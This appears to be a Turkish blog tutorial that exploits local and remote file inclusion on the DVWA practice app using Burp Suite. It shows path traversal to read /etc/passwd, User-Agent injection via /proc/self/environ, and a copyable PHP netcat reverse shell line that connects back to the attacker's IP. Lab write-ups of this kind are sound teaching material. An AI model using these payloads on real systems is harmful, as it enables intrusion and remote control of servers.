File Inclusion - RFI ve LFI

File Inclusion Açığı (Remote File Inclusion ve Local File Inclusion – RFI & LFI)

Genel Siber Güvenlik, Web Uygulama Güvenliği

Web uygulama güvenliğinde çok farklı açık türleri mevcut.(Eğer Burp Suite ile yaptığımız Brute Force yazısını incelemek isterseniz buraya tıklayabilirsiniz.) SQL injection, XSS kadar popüler olmasa da bir diğer eski ve php kaynaklı olan açık türü de file inclusion açığıdır ve  kendi içerisinde ikiye ayrılmaktadır. Local File Inclusion (LFI) ve Remote File Inclusion (RFI) olarak ikiye ayrılan açıklardır ve  artık eskisi kadar yaygın olmasa da hala karşılaşılabilen bir açık türüdür. Web hacking ile uğraşan herkesin yolu burp suite düşmüştür diye tahmin ediyorum. Kullanmamış iseniz bie adını duymuşsunuzdur. Bu açığı sömürürken Burp Suite’den yardım alacağız. Daha fazla uzatmadan başlayalım.

File Inclusion Açığı Nedir?

Hedef siteye dosya sokmamıza yada erişememiz gereken bir dosyaya erişmemize olanak sağlayan bir açık türüdür. Php ile kodlanan sistemlerde görülürür. Günümüzde çok az görülmektedir. Kendi içerisinde LFI ve RFI açığı olarak ikiye ayrılır.

Local File Inclusion

Sunucuda normalde görmememiz gereken, gizlenmiş olması gereken bir dosyayı yada dosyaları okumamıza olanak sağlayan açık.

Remote File Inclusion

Sunucuya  dosya ekleyip kendi kodumuzu çalıştırmamıza olanak sağlayan açık.

File Inclusion Açığı Nasıl Kullanılır

Ben bu yazıda, her zamanki gibi DVWA üzerinden açığı düşük seviye ile  inceleyeceğiz. DVWA’ı açıp File Inclusion bölümüne gittikten sonra aşağıdaki URL ile açık var mı diye kontrolünü sağlıyoruz.

File Inclusion- RFI ve LFI

Yukarıda yaptığımız şey  /etc/passwd içeriğini okuma isteğini sunucuya iletmek oldu. Linux sistemlerde kullanıcılara ait bilgiler /etc/passwd dizininde bulunur ve bunu dışarıdan okumamız engellenmiş olmalıdır. Eğer biz bu dosyanın içeriğine dışarıdan erişebiliyorsak, burada file inclusion açığı var diyebiliriz. Sonuç olarak sayfanın bize çıktısı ise aşağıdaki gibi oldu.

Web Hacking- Web Uygulama Guvenligi

Yukarıda da göreceğiniz üzere normalde erişememiz gereken bir dosyayı erişip içeriğini  okuduk. Yani evet, bu sayfada file inclusion açığı varmış. Bazen içeriğe direkt olarak /etc/passwd ile erişemeyebiliriz. Yazılımcı “/” işaretini filtrelemiş olabilir bunun için aşağıdaki alternatif yöntemleri kullanmamız gerekebilir.

rfi - lfi

Yukarıda ../../../../../../../etc/passwd kızmı kafanızı karıştırmış olabilir. Burada yaptığımız şey tam olarka root dizinine çıkıp oradan /etc/passwd dizinine geçmek oldu. Kaç tane “../” kullandığınızın bir önemi yok. İsterseniz şuan hemen bir terminal açıp deneyebilirsiniz isterseniz bir milyon tane “cd ..” komutu kullanın “/” dizinine ulaştıktan sonra başka bir yere çıkamıyorsunuz.

Sayfada açık olduğunu tespit ettiğimize göre artık Burp Suite açıp manüplasyon işlemine başlayabiliriz. Burp suite açmadan önce onun kullanacağı proxy ayarlarını ve sertifika yükleme işlemlerini yapmanız gerektiğini unutmayın.  Kullanacağımız php kodu ise aşağıdaki gibidir.

php reverse shell- netcat reverse shell

Kopyalamak isterseniz:

<?php system('nc -e /bin/sh ip_adresiniz port'); ?>

1. Adım: Yukarıdaki php kodu hedef sitemde bir reverse netcat shell’i oluşturuyor ve verdiğimiz ip adresine belirlediğimiz porttan bağlanıyor. Bunun için ilk olarak kendi bilgisayarımızda bu portu netcat ile dinlemeye almamız gerek. Bunun için de aşağıdaki komutu çalıştırıyoruz.

netcat-reverse-shell

Şuan 4040 portunu dinlemeye aldım. Sırada Burp Suite ile bu porta bağlantı kurmak var.

2. Adım: Burp Suite açtıktan sonra intercept kısmını on duruma getirip /etc/passwd yerine “/proc/self/environ” dizinine gitmemiz gerekiyor. Biz bu sayfaya gitmek için istek yaptığımızda, burp isteği durduracak ve proxy kısmına getirecektir. Daha sonra User Agent* kısmında değişiklik yapmamız gerekecek. Yukarıda yazdığım kodu oraya eklemeliyiz. Yani aşağıdaki gibi olmalı.

Burp Suite - Web Uygulama Güvenliği

Forward butonu ile isteği ilettiğimiz vakit terminalimizde bir değişiklik meydana geliyor.

Php Reverse Shell - Php File Inclusion

Gördüğünüz gibi şuan hedef sisteme sızdık, hatta “ls” ve “pwd” komutları ile test ettik ve herhangi bir sıkıntı yok. Artık ne yapmak istiyorsak yapabiliriz…

Konumuz  bu kadardı. Tabi DVWA üzerindeki güvenlik seviyesi düşük olduğu için çok zor olmadı. Eğer yazılı kaynaklardan hoşlanmıyorsanız aşağıya videolu anlatımını bırakıyorum. Kanalıma da abone olursanız memnun olurum. Sorun yaşadığınız noktalarda yorum yaparsanız yardımcı olmaya çalışabilirim.

Videolu Anlatım

Kaynaklar:

Netsparker
https://en.wikipedia.org/wiki/File_inclusion_vulnerability
https://canyoupwn.me/tr-php-file-inclusion-vulnerability/

Bir cevap yazın